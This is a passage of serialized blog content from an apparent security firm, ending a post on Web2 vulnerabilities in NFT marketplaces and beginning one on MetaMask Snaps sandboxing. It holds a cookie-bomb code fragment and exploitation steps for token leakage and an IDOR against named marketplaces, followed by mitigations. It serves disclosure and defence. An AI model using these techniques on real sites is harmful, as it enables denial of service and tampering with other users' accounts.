Array(10000).join('a');\n",{"type":25,"tag":271,"props":47759,"children":47760},{"class":13593,"line":16465},[47761],{"type":25,"tag":271,"props":47762,"children":47763},{"emptyLinePlaceholder":18},[47764],{"type":30,"value":16829},{"type":25,"tag":271,"props":47766,"children":47767},{"class":13593,"line":16486},[47768,47773],{"type":25,"tag":271,"props":47769,"children":47770},{"style":13625},[47771],{"type":30,"value":47772},"   for (var i = 1; i \u003C 99; i++) ",{"type":25,"tag":271,"props":47774,"children":47775},{"style":14289},[47776],{"type":30,"value":24005},{"type":25,"tag":271,"props":47778,"children":47779},{"class":13593,"line":16495},[47780,47785,47789,47794,47798,47803,47808,47812,47816,47821,47825,47830,47834,47839,47843,47848],{"type":25,"tag":271,"props":47781,"children":47782},{"style":13598},[47783],{"type":30,"value":47784},"    document",{"type":25,"tag":271,"props":47786,"children":47787},{"style":13603},[47788],{"type":30,"value":1860},{"type":25,"tag":271,"props":47790,"children":47791},{"style":13598},[47792],{"type":30,"value":47793},"cookie",{"type":25,"tag":271,"props":47795,"children":47796},{"style":13603},[47797],{"type":30,"value":46024},{"type":25,"tag":271,"props":47799,"children":47800},{"style":17388},[47801],{"type":30,"value":47802},"'Cookie'",{"type":25,"tag":271,"props":47804,"children":47805},{"style":13603},[47806],{"type":30,"value":47807}," + ",{"type":25,"tag":271,"props":47809,"children":47810},{"style":13598},[47811],{"type":30,"value":1937},{"type":25,"tag":271,"props":47813,"children":47814},{"style":13603},[47815],{"type":30,"value":47807},{"type":25,"tag":271,"props":47817,"children":47818},{"style":17388},[47819],{"type":30,"value":47820},"'='",{"type":25,"tag":271,"props":47822,"children":47823},{"style":13603},[47824],{"type":30,"value":47807},{"type":25,"tag":271,"props":47826,"children":47827},{"style":13598},[47828],{"type":30,"value":47829},"Set_Cookie",{"type":25,"tag":271,"props":47831,"children":47832},{"style":13603},[47833],{"type":30,"value":47807},{"type":25,"tag":271,"props":47835,"children":47836},{"style":17388},[47837],{"type":30,"value":47838},"';Domain='",{"type":25,"tag":271,"props":47840,"children":47841},{"style":13603},[47842],{"type":30,"value":47807},{"type":25,"tag":271,"props":47844,"children":47845},{"style":13598},[47846],{"type":30,"value":47847},"Take_Domain",{"type":25,"tag":271,"props":47849,"children":47850},{"style":13603},[47851],{"type":30,"value":16165},{"type":25,"tag":271,"props":47853,"children":47854},{"class":13593,"line":16744},[47855],{"type":25,"tag":271,"props":47856,"children":47857},{"style":14289},[47858],{"type":30,"value":47859},"   }\n",{"type":25,"tag":271,"props":47861,"children":47862},{"class":13593,"line":16761},[47863,47867,47871],{"type":25,"tag":271,"props":47864,"children":47865},{"style":45488},[47866],{"type":30,"value":47478},{"type":25,"tag":271,"props":47868,"children":47869},{"style":14289},[47870],{"type":30,"value":45528},{"type":25,"tag":271,"props":47872,"children":47873},{"style":45488},[47874],{"type":30,"value":14448},{"type":25,"tag":271,"props":47876,"children":47877},{"class":13593,"line":16778},[47878,47882,47886],{"type":25,"tag":271,"props":47879,"children":47880},{"style":45488},[47881],{"type":30,"value":47494},{"type":25,"tag":271,"props":47883,"children":47884},{"style":14289},[47885],{"type":30,"value":4594},{"type":25,"tag":271,"props":47887,"children":47888},{"style":45488},[47889],{"type":30,"value":14448},{"type":25,"tag":26,"props":47891,"children":47892},{},[47893],{"type":30,"value":47894},"As a result, we're able to prevent the user from loading images.",{"type":25,"tag":96,"props":47896,"children":47898},{"id":47897},"authentication",[47899],{"type":30,"value":47900},"Authentication",{"type":25,"tag":26,"props":47902,"children":47903},{},[47904],{"type":25,"tag":10281,"props":47905,"children":47906},{},[47907,47909,47916],{"type":30,"value":47908},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":25,"tag":83,"props":47910,"children":47913},{"href":47911,"rel":47912},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[9066],[47914],{"type":30,"value":47915},"great misfortune has occured",{"type":30,"value":1860},{"type":25,"tag":247,"props":47918,"children":47920},{"id":47919},"verification-token-leakage",[47921],{"type":30,"value":47922},"Verification Token Leakage",{"type":25,"tag":26,"props":47924,"children":47925},{},[47926],{"type":30,"value":47927},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":25,"tag":26,"props":47929,"children":47930},{},[47931],{"type":30,"value":47932},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":25,"tag":26,"props":47934,"children":47935},{},[47936,47941],{"type":25,"tag":10281,"props":47937,"children":47938},{},[47939],{"type":30,"value":47940},"Proof of Concept",{"type":30,"value":47942},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":25,"tag":26,"props":47944,"children":47945},{},[47946],{"type":30,"value":47947},"Here's the breakdown.",{"type":25,"tag":26,"props":47949,"children":47950},{},[47951],{"type":30,"value":47952},"First, we send the verification link to a user's email:",{"type":25,"tag":44458,"props":47954,"children":47955},{"style":44460},[47956],{"type":25,"tag":698,"props":47957,"children":47961},{"src":47958,"alt":47959,"style":47960},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":25,"tag":26,"props":47963,"children":47964},{},[47965],{"type":30,"value":47966},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":25,"tag":247,"props":47968,"children":47970},{"id":47969},"idor",[47971],{"type":30,"value":47972},"IDOR",{"type":25,"tag":26,"props":47974,"children":47975},{},[47976],{"type":25,"tag":10281,"props":47977,"children":47978},{},[47979,47981,47988],{"type":30,"value":47980},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":25,"tag":83,"props":47982,"children":47985},{"href":47983,"rel":47984},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[9066],[47986],{"type":30,"value":47987},"insect",{"type":30,"value":1860},{"type":25,"tag":26,"props":47990,"children":47991},{},[47992,47994,48000],{"type":30,"value":47993},"During a security assessment of the ",{"type":25,"tag":83,"props":47995,"children":47998},{"href":47996,"rel":47997},"https://rocki.com",[9066],[47999],{"type":30,"value":44396},{"type":30,"value":48001},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":25,"tag":26,"props":48003,"children":48004},{},[48005],{"type":30,"value":48006},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":25,"tag":26,"props":48008,"children":48009},{},[48010],{"type":30,"value":48011},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":25,"tag":26,"props":48013,"children":48014},{},[48015,48017,48023,48025,48030],{"type":30,"value":48016},"Here is an example of a request that modifies another user's social media link to ",{"type":25,"tag":264,"props":48018,"children":48020},{"className":48019},[],[48021],{"type":30,"value":48022},"https://evil.com/",{"type":30,"value":48024},". To achieve this, we simply changed the ",{"type":25,"tag":264,"props":48026,"children":48028},{"className":48027},[],[48029],{"type":30,"value":16631},{"type":30,"value":48031}," field value to one that belongs to another user:",{"type":25,"tag":26,"props":48033,"children":48034},{},[48035],{"type":25,"tag":698,"props":48036,"children":48038},{"alt":7,"src":48037},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":25,"tag":26,"props":48040,"children":48041},{},[48042],{"type":30,"value":48043},"The following screenshot is the response to our request:",{"type":25,"tag":26,"props":48045,"children":48046},{},[48047],{"type":25,"tag":698,"props":48048,"children":48050},{"alt":7,"src":48049},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":25,"tag":96,"props":48052,"children":48054},{"id":48053},"preventative-action-steps-for-marketplaces",[48055],{"type":25,"tag":38,"props":48056,"children":48057},{},[48058],{"type":30,"value":48059},"Preventative Action Steps for Marketplaces",{"type":25,"tag":26,"props":48061,"children":48062},{},[48063],{"type":30,"value":48064},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":25,"tag":26,"props":48066,"children":48067},{},[48068,48070,48076,48078,48084],{"type":30,"value":48069},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":25,"tag":264,"props":48071,"children":48073},{"className":48072},[],[48074],{"type":30,"value":48075},"innerText",{"type":30,"value":48077}," instead of ",{"type":25,"tag":264,"props":48079,"children":48081},{"className":48080},[],[48082],{"type":30,"value":48083},"innerHTML",{"type":30,"value":48085}," in client-side:",{"type":25,"tag":7764,"props":48087,"children":48089},{"className":44475,"code":48088,"language":44477,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = nftCollectionName;\n",[48090],{"type":25,"tag":264,"props":48091,"children":48092},{"__ignoreMap":7},[48093],{"type":25,"tag":271,"props":48094,"children":48095},{"class":13593,"line":13594},[48096,48100,48104,48109,48113,48118,48122,48126,48130,48135],{"type":25,"tag":271,"props":48097,"children":48098},{"style":13598},[48099],{"type":30,"value":45820},{"type":25,"tag":271,"props":48101,"children":48102},{"style":13625},[48103],{"type":30,"value":1860},{"type":25,"tag":271,"props":48105,"children":48106},{"style":13620},[48107],{"type":30,"value":48108},"getElementById",{"type":25,"tag":271,"props":48110,"children":48111},{"style":13625},[48112],{"type":30,"value":394},{"type":25,"tag":271,"props":48114,"children":48115},{"style":17388},[48116],{"type":30,"value":48117},"'nftCollectionName'",{"type":25,"tag":271,"props":48119,"children":48120},{"style":13625},[48121],{"type":30,"value":13677},{"type":25,"tag":271,"props":48123,"children":48124},{"style":13598},[48125],{"type":30,"value":48075},{"type":25,"tag":271,"props":48127,"children":48128},{"style":13603},[48129],{"type":30,"value":16155},{"type":25,"tag":271,"props":48131,"children":48132},{"style":13598},[48133],{"type":30,"value":48134}," nftCollectionName",{"type":25,"tag":271,"props":48136,"children":48137},{"style":13625},[48138],{"type":30,"value":16165},{"type":25,"tag":26,"props":48140,"children":48141},{},[48142],{"type":30,"value":48143},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":25,"tag":7764,"props":48145,"children":48147},{"className":44475,"code":48146,"language":44477,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[48148],{"type":25,"tag":264,"props":48149,"children":48150},{"__ignoreMap":7},[48151],{"type":25,"tag":271,"props":48152,"children":48153},{"class":13593,"line":13594},[48154,48159,48164,48168,48173,48177,48182,48186,48191],{"type":25,"tag":271,"props":48155,"children":48156},{"style":14289},[48157],{"type":30,"value":48158},"var",{"type":25,"tag":271,"props":48160,"children":48161},{"style":13598},[48162],{"type":30,"value":48163}," sanitizedInput",{"type":25,"tag":271,"props":48165,"children":48166},{"style":13603},[48167],{"type":30,"value":16155},{"type":25,"tag":271,"props":48169,"children":48170},{"style":13598},[48171],{"type":30,"value":48172}," DOMPurify",{"type":25,"tag":271,"props":48174,"children":48175},{"style":13625},[48176],{"type":30,"value":1860},{"type":25,"tag":271,"props":48178,"children":48179},{"style":13620},[48180],{"type":30,"value":48181},"sanitize",{"type":25,"tag":271,"props":48183,"children":48184},{"style":13625},[48185],{"type":30,"value":394},{"type":25,"tag":271,"props":48187,"children":48188},{"style":13598},[48189],{"type":30,"value":48190},"userInput",{"type":25,"tag":271,"props":48192,"children":48193},{"style":13625},[48194],{"type":30,"value":13665},{"type":25,"tag":26,"props":48196,"children":48197},{},[48198,48200,48207],{"type":30,"value":48199},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":25,"tag":83,"props":48201,"children":48204},{"href":48202,"rel":48203},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[9066],[48205],{"type":30,"value":48206},"Content-Security-Policy",{"type":30,"value":48208}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":25,"tag":26,"props":48210,"children":48211},{},[48212],{"type":30,"value":48213},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":25,"tag":26,"props":48215,"children":48216},{},[48217,48219,48226],{"type":30,"value":48218},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":25,"tag":83,"props":48220,"children":48223},{"href":48221,"rel":48222},"https://www.techtarget.com/whatis/definition/whitelist",[9066],[48224],{"type":30,"value":48225},"allow-list",{"type":30,"value":48227}," :",{"type":25,"tag":7764,"props":48229,"children":48231},{"className":44475,"code":48230,"language":44477,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n  throw new ApolloError('invalid domain');\n}\n",[48232],{"type":25,"tag":264,"props":48233,"children":48234},{"__ignoreMap":7},[48235,48264,48306,48336],{"type":25,"tag":271,"props":48236,"children":48237},{"class":13593,"line":13594},[48238,48242,48247,48251,48255,48260],{"type":25,"tag":271,"props":48239,"children":48240},{"style":14289},[48241],{"type":30,"value":22778},{"type":25,"tag":271,"props":48243,"children":48244},{"style":13598},[48245],{"type":30,"value":48246}," allowDomains",{"type":25,"tag":271,"props":48248,"children":48249},{"style":13603},[48250],{"type":30,"value":16155},{"type":25,"tag":271,"props":48252,"children":48253},{"style":13625},[48254],{"type":30,"value":36132},{"type":25,"tag":271,"props":48256,"children":48257},{"style":17388},[48258],{"type":30,"value":48259},"'https://allowed-domain'",{"type":25,"tag":271,"props":48261,"children":48262},{"style":13625},[48263],{"type":30,"value":44686},{"type":25,"tag":271,"props":48265,"children":48266},{"class":13593,"line":11641},[48267,48271,48275,48279,48284,48288,48293,48297,48301],{"type":25,"tag":271,"props":48268,"children":48269},{"style":16171},[48270],{"type":30,"value":28701},{"type":25,"tag":271,"props":48272,"children":48273},{"style":13625},[48274],{"type":30,"value":16213},{"type":25,"tag":271,"props":48276,"children":48277},{"style":13603},[48278],{"type":30,"value":33742},{"type":25,"tag":271,"props":48280,"children":48281},{"style":13598},[48282],{"type":30,"value":48283},"allowDomains",{"type":25,"tag":271,"props":48285,"children":48286},{"style":13625},[48287],{"type":30,"value":1860},{"type":25,"tag":271,"props":48289,"children":48290},{"style":13620},[48291],{"type":30,"value":48292},"includes",{"type":25,"tag":271,"props":48294,"children":48295},{"style":13625},[48296],{"type":30,"value":394},{"type":25,"tag":271,"props":48298,"children":48299},{"style":13598},[48300],{"type":30,"value":45830},{"type":25,"tag":271,"props":48302,"children":48303},{"style":13625},[48304],{"type":30,"value":48305},")) {\n",{"type":25,"tag":271,"props":48307,"children":48308},{"class":13593,"line":14354},[48309,48314,48318,48323,48327,48332],{"type":25,"tag":271,"props":48310,"children":48311},{"style":16171},[48312],{"type":30,"value":48313},"  throw",{"type":25,"tag":271,"props":48315,"children":48316},{"style":14289},[48317],{"type":30,"value":45045},{"type":25,"tag":271,"props":48319,"children":48320},{"style":13620},[48321],{"type":30,"value":48322}," ApolloError",{"type":25,"tag":271,"props":48324,"children":48325},{"style":13625},[48326],{"type":30,"value":394},{"type":25,"tag":271,"props":48328,"children":48329},{"style":17388},[48330],{"type":30,"value":48331},"'invalid domain'",{"type":25,"tag":271,"props":48333,"children":48334},{"style":13625},[48335],{"type":30,"value":13665},{"type":25,"tag":271,"props":48337,"children":48338},{"class":13593,"line":14391},[48339],{"type":25,"tag":271,"props":48340,"children":48341},{"style":13625},[48342],{"type":30,"value":17058},{"type":25,"tag":26,"props":48344,"children":48345},{},[48346,48348,48355,48357,48364],{"type":30,"value":48347},"As ",{"type":25,"tag":83,"props":48349,"children":48352},{"href":48350,"rel":48351},"https://graphql.org/",[9066],[48353],{"type":30,"value":48354},"GraphQl",{"type":30,"value":48356}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":25,"tag":83,"props":48358,"children":48361},{"href":48359,"rel":48360},"https://graphql.org/learn/introspection/",[9066],[48362],{"type":30,"value":48363},"introspection",{"type":30,"value":48365}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":25,"tag":7764,"props":48367,"children":48369},{"className":44475,"code":48368,"language":44477,"meta":7,"style":7},"const server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  introspection: false,\n});\n",[48370],{"type":25,"tag":264,"props":48371,"children":48372},{"__ignoreMap":7},[48373,48402,48414,48426,48442],{"type":25,"tag":271,"props":48374,"children":48375},{"class":13593,"line":13594},[48376,48380,48385,48389,48393,48398],{"type":25,"tag":271,"props":48377,"children":48378},{"style":14289},[48379],{"type":30,"value":22778},{"type":25,"tag":271,"props":48381,"children":48382},{"style":13598},[48383],{"type":30,"value":48384}," server",{"type":25,"tag":271,"props":48386,"children":48387},{"style":13603},[48388],{"type":30,"value":16155},{"type":25,"tag":271,"props":48390,"children":48391},{"style":14289},[48392],{"type":30,"value":45045},{"type":25,"tag":271,"props":48394,"children":48395},{"style":13620},[48396],{"type":30,"value":48397}," ApolloServer",{"type":25,"tag":271,"props":48399,"children":48400},{"style":13625},[48401],{"type":30,"value":28262},{"type":25,"tag":271,"props":48403,"children":48404},{"class":13593,"line":11641},[48405,48410],{"type":25,"tag":271,"props":48406,"children":48407},{"style":13598},[48408],{"type":30,"value":48409},"  typeDefs",{"type":25,"tag":271,"props":48411,"children":48412},{"style":13625},[48413],{"type":30,"value":14351},{"type":25,"tag":271,"props":48415,"children":48416},{"class":13593,"line":14354},[48417,48422],{"type":25,"tag":271,"props":48418,"children":48419},{"style":13598},[48420],{"type":30,"value":48421},"  resolvers",{"type":25,"tag":271,"props":48423,"children":48424},{"style":13625},[48425],{"type":30,"value":14351},{"type":25,"tag":271,"props":48427,"children":48428},{"class":13593,"line":14391},[48429,48434,48438],{"type":25,"tag":271,"props":48430,"children":48431},{"style":13598},[48432],{"type":30,"value":48433},"  introspection:",{"type":25,"tag":271,"props":48435,"children":48436},{"style":14289},[48437],{"type":30,"value":22179},{"type":25,"tag":271,"props":48439,"children":48440},{"style":13625},[48441],{"type":30,"value":14351},{"type":25,"tag":271,"props":48443,"children":48444},{"class":13593,"line":14400},[48445],{"type":25,"tag":271,"props":48446,"children":48447},{"style":13625},[48448],{"type":30,"value":48449},"});\n",{"type":25,"tag":26,"props":48451,"children":48452},{},[48453,48455,48462,48464,48471],{"type":30,"value":48454},"Similarly, when ",{"type":25,"tag":83,"props":48456,"children":48459},{"href":48457,"rel":48458},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[9066],[48460],{"type":30,"value":48461},"batching",{"type":30,"value":48463}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":25,"tag":83,"props":48465,"children":48468},{"href":48466,"rel":48467},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[9066],[48469],{"type":30,"value":48470},"denial-of-service",{"type":30,"value":48472}," (DoS) attacks.",{"type":25,"tag":26,"props":48474,"children":48475},{},[48476],{"type":30,"value":48477},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":25,"tag":26,"props":48479,"children":48480},{},[48481],{"type":30,"value":48482},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":25,"tag":48484,"props":48485,"children":48486},"h1",{"id":42044},[48487],{"type":30,"value":32068},{"type":25,"tag":26,"props":48489,"children":48490},{},[48491],{"type":30,"value":48492},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":25,"tag":26,"props":48494,"children":48495},{},[48496],{"type":30,"value":48497},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":25,"tag":96,"props":48499,"children":48501},{"id":48500},"disclaimer",[48502],{"type":30,"value":48503},"Disclaimer",{"type":25,"tag":26,"props":48505,"children":48506},{},[48507],{"type":30,"value":48508},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this issue.",{"type":25,"tag":15963,"props":48510,"children":48511},{},[48512],{"type":30,"value":15967},{"title":7,"searchDepth":11641,"depth":11641,"links":48514},[48515,48518,48524,48528,48529],{"id":42127,"depth":11641,"text":42130,"children":48516},[48517],{"id":16059,"depth":14354,"text":16062},{"id":44319,"depth":11641,"text":44349,"children":48519},[48520,48521,48522,48523],{"id":44368,"depth":14354,"text":44371},{"id":44433,"depth":14354,"text":44436},{"id":47263,"depth":14354,"text":47266},{"id":47552,"depth":14354,"text":47555},{"id":47897,"depth":11641,"text":47900,"children":48525},[48526,48527],{"id":47919,"depth":14354,"text":47922},{"id":47969,"depth":14354,"text":47972},{"id":48053,"depth":11641,"text":48059},{"id":48500,"depth":11641,"text":48503},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":48534,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":48535,"description":48536,"author":48537,"image":48538,"date":48540,"isFeatured":18,"onBlogPage":18,"body":48541,"_type":16004,"_id":53555,"_source":16006,"_file":53556,"_stem":53557,"_extension":16009},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[44313,44312],{"src":48539,"height":26748,"width":17},"/posts/metamask-snaps/header.png","2023-11-01",{"type":22,"children":48542,"toc":53536},[48543,48547,48552,48557,48562,48568,48573,48579,48592,48597,48602,48609,48641,48647,48652,48670,48677,48683,48697,48703,48723,48987,49015,49021,49040,49426,49445,49458,49776,49797,50068,50073,50079,50084,50097,50102,50115,50374,50418,50431,50437,50451,50457,50463,50476,50512,50518,50538,50649,50675,50681,50699,50712,50718,50723,50741,50852,50857,50878,50891,50908,51008,51034,51051,51173,51199,51211,51216,51222,51228,51233,51256,51261,51266,51272,51278,51305,51708,51735,51762,51768,51799,52108,52127,52132,52157,52170,52176,52203,52498,52534,52552,52557,52592,52597,52601,52606,52613,52618,52645,53422,53442,53448,53469,53518,53522,53527,53532],{"type":25,"tag":96,"props":48544,"children":48545},{"id":32077},[48546],{"type":30,"value":32080},{"type":25,"tag":26,"props":48548,"children":48549},{},[48550],{"type":30,"value":48551},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":25,"tag":26,"props":48553,"children":48554},{},[48555],{"type":30,"value":48556},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":25,"tag":26,"props":48558,"children":48559},{},[48560],{"type":30,"value":48561},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":25,"tag":96,"props":48563,"children":48565},{"id":48564},"sandbox-security",[48566],{"type":30,"value":48567},"Sandbox Security",{"type":25,"tag":26,"props":48569,"children":48570},{},[48571],{"type":30,"value":48572},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":25,"tag":247,"props":48574,"children":48576},{"id":48575},"permission-based-security",[48577],{"type":30,"value":48578},"Permission-based security",{"type":25,"tag":26,"props":48580,"children":48581},{},[48582,48584,48590],{"type":30,"value":48583},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":25,"tag":264,"props":48585,"children":48587},{"className":48586},[],[48588],{"type":30,"value":48589},"snap.manifest.json",{"type":30,"value":48591}," file and can be critical to security.",{"type":25,"tag":26,"props":48593,"children":48594},{},[48595],{"type":30,"value":48596},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":25,"tag":26,"props":48598,"children":48599},{},[48600],{"type":30,"value":48601},"Here are the critical permissions possible to be given to a snap:",{"type":25,"tag":26,"props":48603,"children":48604},{},[48605],{"type":25,"tag":698,"props":48606,"children":48608},{"alt":7,"src":48607},"/posts/metamask-snaps/permissions.png",[],{"type":25,"tag":108,"props":48610,"children":48611},{},[48612,48630],{"type":25,"tag":112,"props":48613,"children":48614},{},[48615,48621,48622,48628],{"type":25,"tag":264,"props":48616,"children":48618},{"className":48617},[],[48619],{"type":30,"value":48620},"snap_getBip44Entropy",{"type":30,"value":12218},{"type":25,"tag":264,"props":48623,"children":48625},{"className":48624},[],[48626],{"type":30,"value":48627},"snap_getBip32Entropy",{"type":30,"value":48629}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":25,"tag":112,"props":48631,"children":48632},{},[48633,48639],{"type":25,"tag":264,"props":48634,"children":48636},{"className":48635},[],[48637],{"type":30,"value":48638},"endowment:transaction-insight",{"type":30,"value":48640}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":25,"tag":247,"props":48642,"children":48644},{"id":48643},"snap-execution-environment",[48645],{"type":30,"value":48646},"Snap execution environment",{"type":25,"tag":26,"props":48648,"children":48649},{},[48650],{"type":30,"value":48651},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":25,"tag":661,"props":48653,"children":48654},{},[48655,48660,48665],{"type":25,"tag":112,"props":48656,"children":48657},{},[48658],{"type":30,"value":48659},"An isolated iframe",{"type":25,"tag":112,"props":48661,"children":48662},{},[48663],{"type":30,"value":48664},"LavaMoat",{"type":25,"tag":112,"props":48666,"children":48667},{},[48668],{"type":30,"value":48669},"SES (Secure EcmaScript)",{"type":25,"tag":26,"props":48671,"children":48672},{},[48673],{"type":25,"tag":698,"props":48674,"children":48676},{"alt":7,"src":48675},"/posts/metamask-snaps/environment.png",[],{"type":25,"tag":247,"props":48678,"children":48680},{"id":48679},"isolated-iframe-layer-1",[48681],{"type":30,"value":48682},"Isolated Iframe - Layer 1",{"type":25,"tag":26,"props":48684,"children":48685},{},[48686,48688,48695],{"type":30,"value":48687},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":25,"tag":83,"props":48689,"children":48692},{"href":48690,"rel":48691},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[9066],[48693],{"type":30,"value":48694},"Iframe",{"type":30,"value":48696}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":25,"tag":2352,"props":48698,"children":48700},{"id":48699},"the-framework-metamask-extension-repo",[48701],{"type":30,"value":48702},"The Framework: Metamask-Extension Repo",{"type":25,"tag":26,"props":48704,"children":48705},{},[48706,48708,48714,48716,48722],{"type":30,"value":48707},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":25,"tag":264,"props":48709,"children":48711},{"className":48710},[],[48712],{"type":30,"value":48713},"metamask-controller.js",{"type":30,"value":48715}," file. Here's a glimpse of the relevant ",{"type":25,"tag":83,"props":48717,"children":48720},{"href":48718,"rel":48719},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[9066],[48721],{"type":30,"value":264},{"type":30,"value":359},{"type":25,"tag":7764,"props":48724,"children":48728},{"className":48725,"code":48726,"language":48727,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n  iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n  messenger: this.controllerMessenger.getRestricted({\n    name: 'ExecutionService',\n  }),\n  setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n  'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[48729],{"type":25,"tag":264,"props":48730,"children":48731},{"__ignoreMap":7},[48732,48740,48748,48768,48816,48851,48868,48876,48918,48925,48932,48940,48968,48980],{"type":25,"tag":271,"props":48733,"children":48734},{"class":13593,"line":13594},[48735],{"type":25,"tag":271,"props":48736,"children":48737},{"style":14385},[48738],{"type":30,"value":48739},"// Import snaps-controllers\n",{"type":25,"tag":271,"props":48741,"children":48742},{"class":13593,"line":11641},[48743],{"type":25,"tag":271,"props":48744,"children":48745},{"style":14385},[48746],{"type":30,"value":48747},"// 